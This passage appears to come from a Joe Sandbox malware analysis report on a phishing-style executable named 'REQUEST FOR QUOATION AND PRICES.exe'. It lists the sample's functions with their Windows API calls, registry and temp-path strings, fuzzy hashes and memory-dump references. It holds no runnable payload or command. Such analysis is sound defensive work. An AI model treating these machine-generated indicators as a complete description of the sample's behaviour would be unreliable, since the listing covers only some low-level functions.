Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 1000248D Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,771AFFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002559
GlobalFree.KERNEL32(00000000), ref: 10002582

Memory Dump Source

Source File: 00000005.00000002.1661666940.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1661650069.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661681060.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661697008.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID:
API String ID: 2435812281-0
Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69

Function 100018C1 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalFree.KERNEL32(?), ref: 10001928
GlobalFree.KERNEL32(?), ref: 10001AB9
GlobalFree.KERNEL32(?), ref: 10001ABE

Memory Dump Source

Source File: 00000005.00000002.1661666940.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1661650069.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661681060.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661697008.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000005.00000002.1661666940.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1661650069.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661681060.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661697008.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 489282a1a85ab549aaf4814a5337f0dda84e369b99e1904d90d03a31c2257fb7
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: 489282a1a85ab549aaf4814a5337f0dda84e369b99e1904d90d03a31c2257fb7
Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405DB7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405DE1
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E02
RegCloseKey.ADVAPI32(?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E25

Strings

Call, xrefs: 00405DBA

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 2fd967afc3cf920b801d0ff69ba4d64ac6492d281fb7c7a5729fe10eb95daac3
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: F4011A3255020AEADB219F56ED09EDB3BACEF85350F00403AF945D6260D335EA64DBF9

Function 00405935 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,00403344,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 0040593B
CharPrevW.USER32(?,00000000,?,C:\Users\user~1\AppData\Local\Temp\,00403344,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 00405945
lstrcatW.KERNEL32(?,00409014), ref: 00405957

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405935

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\
API String ID: 2659869361-2382934351
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 6247f5a3c9563be90945cd41d23768fa590745b080056b24a315d5606c671452
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: E5D05E21101921AAC21277448C04DDF669CEE45300384002AF200B20A2CB7C1D518BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 0040381F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,00000000,771B2EE0,004037F6,771B3420,00403621,?), ref: 00403839
GlobalFree.KERNEL32(?), ref: 00403840

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403831

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user~1\AppData\Local\Temp\
API String ID: 1100898210-2382934351
Opcode ID: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction ID: bf490ea997193b46d556285b385326fb3516ec302950e4cd11f154ac4515a356
Opcode Fuzzy Hash: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction Fuzzy Hash: F9E0C23394102057C7216F15ED04B1ABBE86F89B22F018476F9407B7A283746C528BED

Function 00405981 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,80000000,00000003), ref: 00405987
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,80000000,00000003), ref: 00405997

Strings

C:\Users\user\Desktop, xrefs: 00405981

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3976562730
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: e5431d3d33a146c3150d202dfaa2e9e12a1dec100281116c20088c3141bfb115
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: C6D05EA2414920DED3226704DC44AAFA3ACEF113107894466F901E61A5D7785C808AFD

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
